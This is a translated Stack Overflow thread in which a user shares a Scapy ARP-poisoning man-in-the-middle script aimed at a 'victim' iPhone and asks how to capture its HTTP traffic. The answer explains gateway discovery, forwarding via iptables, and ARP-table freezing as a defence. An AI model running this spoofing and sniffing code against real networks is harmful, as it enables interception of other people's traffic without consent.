首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Scapy ARP毒药不接收任何HTTP请求

Scapy ARP毒药不接收任何HTTP请求
EN

Stack Overflow用户
提问于 2016-07-12 22:34:03
回答 1查看 503关注 0票数 1

使用底部的代码,我试图arp毒害我网络上的一个目标(在本例中,是一个iPhone)。

然而,在使用过程中,如果手机真的转到网站或其他什么地方,它就不会接通。它所接收到的信息大致如下:

代码语言:javascript
复制
Ether / ARP who has 1xx.1xx.x.17 says xxx.xxx.x.5
Ether / ARP is at 00:5x:cx:8x:6x:61 says 1xx.xxx.x.17
Ether / ARP is at 00:2x:c7:6x:xx:94 says 1xx.xxx.x.5
Ether / ARP is at 00:00:00:00:00:00 says 1xx.xxx.x.17
Ether / ARP is at 00:00:00:00:00:00 says 1xx.xxx.x.17
Ether / IP / UDP xxx.x.x.14:49152 > 239.255.255.250:1900 / Raw
Ether / IP / UDP xxx.xxx.x.51:49152 > 239.255.255.250:1900 / Raw
Ether / ARP who has xxx.xxx.x.14 says xxx.xxx.x.1

socket.gethostbyaddr中插入任何记录的in地址,就会返回('a23-206-125-85.deploy.static.akamaitechnologies.com', [], ['23.206.125.85'])('qm-in-f188.1e100.net', [], ['173.194.205.188'])之类的信息。

这些都被记录了上百次。我如何修改代码,使其拦截来自电话的http请求?

代码:

代码语言:javascript
复制
import os
import sys
import time
import signal
import threading
import subprocess

from scapy.error import Scapy_Exception
from scapy.all import *

import getIP

class MitM():
    def __init__(self):
        """
        -get intro #
        -get variables(interface, gate, vict) #
        -get mac for gate + vict #
        -enable ip forwarding #
        -poison target #
        -listen for packets
        -close with 'finally' loop
            -disable ip forwarding
            -restore targets
            -exit
        """
        self.intro()  # Broadcast Ping + Arp -a


        #####VARIABLES###
        print("**Interface used is 'wlan0' \n")

        self.Interface = 'wlan0'

        conf.verb = 0
        conf.interface = self.Interface
        self.VictIP = raw_input("**Enter Victim's Ip Address: ")

        self.GateIP = (getIP.ip())
        print("\n**Gateway is your computer(%s)" % (self.GateIP))

        print("**Enabling IP Forwarding...")
        subprocess.call(['echo',' 1 >', '/proc/sys/net/ipv4/ip_forward'])

        self.HardMAC = subprocess.check_output(['ethtool','-P', self.Interface]).split()[2]

        self.GateMAC = self.HardMAC
        self.VictMAC = self.getMAC(self.VictIP)

        print("**VictMAC is %s" % (self.VictMAC))
        print("**GateMAC is %s" % (self.GateMAC))

        self.monitor()

    def intro(self):
        """Use Subprocess to get 'ping' backs and 'arp' for clean processing."""
        print('\nPinging Network Address %s.255' % (getIP.ip()[:9]))

        self.NULL = open(os.devnull)  # TODO: close file at end of hack
        subprocess.call(['ping', '-c','4','-b','%s.255' % (getIP.ip()[:9])], stdout=self.NULL)

        arp = subprocess.check_output(['arp','-a'])
        arpNames = arp.split()[::7]
        arpIP = arp.split()[1::7]
        for combo in zip(arpNames, arpIP):
            print("%s --> %s" % (combo[0], combo[1]))
        print("")


    def getMAC(self,ip):
        conf.verb = 0
        ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ ARP(pdst=ip), timeout=2, \
                     iface=self.Interface, inter=0.1)
        for snd,recv in ans:
            return recv.sprintf(r"%Ether.src%")


    def ARP_poison(self,gatewayIP, gatewayMAC, victimIP, victimMAC):
        poison_target = ARP(op=2, psrc=gatewayIP, pdst=victimIP, hwdst=victimMAC)
        poison_gateway = ARP(op=2, psrc=victimIP, pdst=gatewayIP, hwdst=gatewayMAC)

        print("**Poisoning Target %s" % (self.VictIP))

        if True:
            try:
                send(poison_target)
                send(poison_gateway)
                time.sleep(0.5)

            except KeyboardInterrupt:
                print("\n**Exiting Script...")
                self.restore(self.GateIP, self.GateMAC, self.VictIP, self.VictMAC)
                sys.exit(1)
        return


    def restore(self, GatewayIP, GatewayMAC, VictimIP, VictimMAC):
        print("**Restoring Targets...\n")
        send(ARP(op=2, psrc=GatewayIP, pdst=VictimIP, hwdst="ff:ff:ff:ff:ff:ff", \
                 hwsrc=GatewayMAC), count=5)
        send(ARP(op=2, psrc=VictimIP, pdst=GatewayIP, hwdst="ff:ff:ff:ff:ff:ff", \
                 hwsrc=VictimMAC), count=5)
        sys.exit(1)

    def monitor(self):

        poison_thread = threading.Thread(target=self.ARP_poison, args= (self.GateIP, self.GateMAC, 
                                                                   self.VictIP, self.VictMAC))
        poison_thread.start()
        #self.ARP_poison(self.GateIP, self.GateMAC, self.VictIP, self.VictMAC)


        try:
            print("**Sniffing for packets...\n")
            bpf_filter = ('IP host ' + str(self.VictIP))
            packets = sniff( prn= lambda x: x.summary(), count=1000)
            wrpcap('packets.pcap', packets)

        except Exception:
            print("Exiting Script...\n")
            sys.exit(1)

        finally:
            self.restore(self.GateIP, self.GateMAC, self.VictIP, self.VictMAC)
            subprocess.call(['echo',' 0 >', '/proc/sys/net/ipv4/ip_forward'])
            poison_thread.close()
            sys.exit(1)


if __name__ == "__main__":
    MitM()

getIP.py:

代码语言:javascript
复制
import socket


def ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    s.connect(('google.com', 0))

    return s.getsockname()[0]
EN

回答 1

Stack Overflow用户

发布于 2016-07-14 06:14:57

TL;DR getIP.py是错误的,没有便携方法可以找到网关IP。

在网关IP上

我的印象是您混淆了ARP和IP。

要执行ARP毒化,您需要使iPhone认为攻击机器的MAC是指向网关(路由器)的IP的MAC。网关IP当然是一个私有IP,您在getIP.py脚本中得到的是一个私有IP,但它不是网关IP。

如果你在linux上,ip r l会在名字default下显示网关IP,在windows上,ipconfig会打印网关IP。您应该将其作为顶级变量添加到脚本中,或者将其作为命令行参数请求。

无法从网络流量本身了解网络网关的原因是ARP中毒攻击有效的原因之一。

浅谈ARP中毒

HTTP要高得多,没有办法在ARP中毒攻击中仅获取HTTP流量,或仅获取TCP流量,或仅获取UDP流量。你得到的是IP层,并且所有在它上面的协议将通过你的攻击机器(如果攻击成功)或者不会通过(如果攻击失败)。

这给了我们ARP中毒的第二条规则:来自受害者机器的所有网络流量现在都将通过攻击机器,没有例外。如果攻击机器没有转发网络流量,受害者会认为它有关于网关的错误ARP信息,并不断重新发送ARP数据包,以找到网关的正确MAC地址。

我在您的代码中看到了ARP中毒本身,但我不能100%确定:

代码语言:javascript
复制
subprocess.call(['echo',' 1 >', '/proc/sys/net/ipv4/ip_forward'])

我会小心谨慎,认为这些代码只是让内核翻转了一些标志,允许NIC重写MACs并将它们发回。我会尝试在更高的级别(iptables)上编写转发,以确保数据包进入用户空间。

额外注解

有几种防止ARP中毒的保护措施。最常见的是冻结ARP表中的记录,即,一旦知道ARP记录,它就不能被新的ARP数据包改变。iPhone可能会使用这种保护。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/38331846

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档